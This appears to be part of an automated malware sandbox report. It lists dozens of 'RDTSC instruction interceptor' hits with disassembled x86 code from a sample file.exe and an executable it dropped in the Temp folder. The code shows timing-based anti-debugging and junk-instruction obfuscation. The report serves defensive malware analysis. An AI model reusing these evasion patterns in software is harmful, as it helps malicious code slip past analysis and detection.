Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0761 second address: 55B0765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0765 second address: 55B0008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d pushad 0x0000000e mov ebx, ecx 0x00000010 popad 0x00000011 test esi, esi 0x00000013 pushad 0x00000014 mov cl, dh 0x00000016 popad 0x00000017 je 00007FE7363B3E51h 0x0000001d xor eax, eax 0x0000001f jmp 00007FE6C4FDF6BAh 0x00000024 pop esi 0x00000025 pop edi 0x00000026 pop ebx 0x00000027 leave 0x00000028 retn 0004h 0x0000002b nop 0x0000002c mov edi, eax 0x0000002e cmp edi, 00000000h 0x00000031 setne al 0x00000034 xor ebx, ebx 0x00000036 test al, 01h 0x00000038 jne 00007FE6C5005F87h 0x0000003a jmp 00007FE6C5006079h 0x0000003f call 00007FE6C976D700h 0x00000044 mov edi, edi 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 mov si, di 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0008 second address: 55B0076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE6C4735521h 0x0000000a xor ah, FFFFFFC6h 0x0000000d jmp 00007FE6C4735521h 0x00000012 popfd 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 mov cl, A7h 0x00000018 pushfd 0x00000019 jmp 00007FE6C4735529h 0x0000001e jmp 00007FE6C473551Bh 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FE6C4735524h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0C33 second address: 55B0C47 instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edi, 1AC62E52h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0C47 second address: 55B0C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0C4B second address: 55B0C66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0C66 second address: 55B0C7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov ecx, 68013657h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0C7D second address: 55B0C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0C8C second address: 55B0D2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FE6C473551Ch 0x00000012 and ah, 00000058h 0x00000015 jmp 00007FE6C473551Bh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FE6C4735528h 0x00000021 or ax, 66B8h 0x00000026 jmp 00007FE6C473551Bh 0x0000002b popfd 0x0000002c popad 0x0000002d cmp dword ptr [769B459Ch], 05h 0x00000034 pushad 0x00000035 jmp 00007FE6C4735524h 0x0000003a mov ah, 17h 0x0000003c popad 0x0000003d je 00007FE735AD3203h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 mov cl, 71h 0x00000048 call 00007FE6C473551Bh 0x0000004d pop ecx 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C000D second address: 55C0050 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 6E7B45A3h 0x0000000e jmp 00007FE6C5005F91h 0x00000013 xor dword ptr [esp], 18E1D98Bh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov di, FDAEh 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0050 second address: 55C0065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735521h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0065 second address: 55C0090 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007FE73639BA7Ch 0x00000010 push 76952B70h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov eax, dword ptr [esp+10h] 0x00000020 mov dword ptr [esp+10h], ebp 0x00000024 lea ebp, dword ptr [esp+10h] 0x00000028 sub esp, eax 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [769B4538h] 0x00000032 xor dword ptr [ebp-04h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FE6C5005F8Dh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C00F9 second address: 55C0116 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0BBF second address: 55C0BEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C5005F8Ch 0x00000009 adc ax, F218h 0x0000000e jmp 00007FE6C5005F8Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0BEA second address: 55C0C05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0C05 second address: 55C0C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0C0B second address: 55C0C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0C0F second address: 55C0C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FE6C5005F97h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE6C5005F94h 0x00000017 jmp 00007FE6C5005F95h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FE6C5005F90h 0x00000023 sbb si, BB98h 0x00000028 jmp 00007FE6C5005F8Bh 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 push ecx 0x00000036 pop ebx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0C89 second address: 55C0CCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE6C4735523h 0x00000013 jmp 00007FE6C4735523h 0x00000018 popfd 0x00000019 movzx esi, dx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0CCA second address: 55C0CD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0CD0 second address: 55C0D55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b jmp 00007FE6C4735528h 0x00000010 test esi, esi 0x00000012 jmp 00007FE6C4735520h 0x00000017 je 00007FE735AC2BC8h 0x0000001d pushad 0x0000001e call 00007FE6C473551Eh 0x00000023 pushfd 0x00000024 jmp 00007FE6C4735522h 0x00000029 and ax, 6F78h 0x0000002e jmp 00007FE6C473551Bh 0x00000033 popfd 0x00000034 pop ecx 0x00000035 mov bx, 9ABCh 0x00000039 popad 0x0000003a cmp dword ptr [769B459Ch], 05h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov ax, 1C43h 0x00000048 pushad 0x00000049 popad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0E40 second address: 55C0E63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov ecx, 7D13831Dh 0x00000010 call 00007FE6C5005F8Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0E8C second address: 55C0EA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735521h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0EA1 second address: 55C0ECA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FE6C5005F8Eh 0x0000000f pop ebp 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF9A5A second address: CF9A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF89C2 second address: CF89C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF89C6 second address: CF89E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FE6C473551Fh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF89E1 second address: CF89ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007FE6C5005F86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF8B39 second address: CF8B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE6C4735516h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF8B48 second address: CF8B72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE6C5005F8Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE6C5005F95h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF8B72 second address: CF8B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF8B76 second address: CF8B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF90E3 second address: CF90E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF90E7 second address: CF911B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE6C5005F86h 0x00000008 jmp 00007FE6C5005F95h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE6C5005F91h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CFC8A5 second address: CFC8AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CFC8AB second address: CFC8D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FE6C5005F88h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CFC8D0 second address: CFC8E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735525h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CFC8E9 second address: CFC93C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FE6C5005F91h 0x00000015 mov eax, dword ptr [eax] 0x00000017 jns 00007FE6C5005F9Eh 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FE6C5005F8Bh 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CFC9F2 second address: CFC9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CFC9F9 second address: CFC9FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CFC9FF second address: CFCA81 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE6C4735516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FE6C4735518h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 jmp 00007FE6C473551Ah 0x0000002e or edx, dword ptr [ebp+122D32F0h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007FE6C4735518h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 mov edx, esi 0x00000052 push 02657788h 0x00000057 push eax 0x00000058 push edx 0x00000059 push edx 0x0000005a jmp 00007FE6C4735526h 0x0000005f pop edx 0x00000060 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CE9E53 second address: CE9E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1C163 second address: D1C1A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735528h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007FE6C4735516h 0x00000010 jmp 00007FE6C4735526h 0x00000015 jmp 00007FE6C473551Ah 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1C1A9 second address: D1C1AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1C1AE second address: D1C1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1C585 second address: D1C58B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1C58B second address: D1C590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1C590 second address: D1C59A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C5005F8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1C986 second address: D1C98D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1C98D second address: D1C99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 popad 0x00000008 jp 00007FE6C5005F9Ah 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1CD5B second address: D1CD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1CD5F second address: D1CD72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1CD72 second address: D1CD87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735521h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1CD87 second address: D1CD8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D10884 second address: D10888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1D685 second address: D1D68F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE6C5005F86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D1D9ED second address: D1D9F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D228E2 second address: D22905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C5005F95h 0x00000009 popad 0x0000000a pushad 0x0000000b ja 00007FE6C5005F86h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D22A25 second address: D22A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D22A2A second address: D22A7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007FE6C5005F9Fh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 jmp 00007FE6C5005F95h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D22A7D second address: D22ABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735521h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jp 00007FE6C473551Ah 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007FE6C4735526h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D22ABD second address: D22AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D22AC2 second address: D22AC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D2121E second address: D21226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D22CE0 second address: D22CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CEBA06 second address: CEBA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CEBA0C second address: CEBA2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FE6C4735516h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 pop eax 0x00000015 pushad 0x00000016 jnp 00007FE6C4735518h 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF0A59 second address: CF0A63 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF0A63 second address: CF0A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF0A6A second address: CF0A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FE6C5005F92h 0x00000012 jnp 00007FE6C5005F86h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: CF0A91 second address: CF0AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnc 00007FE6C473551Ch 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
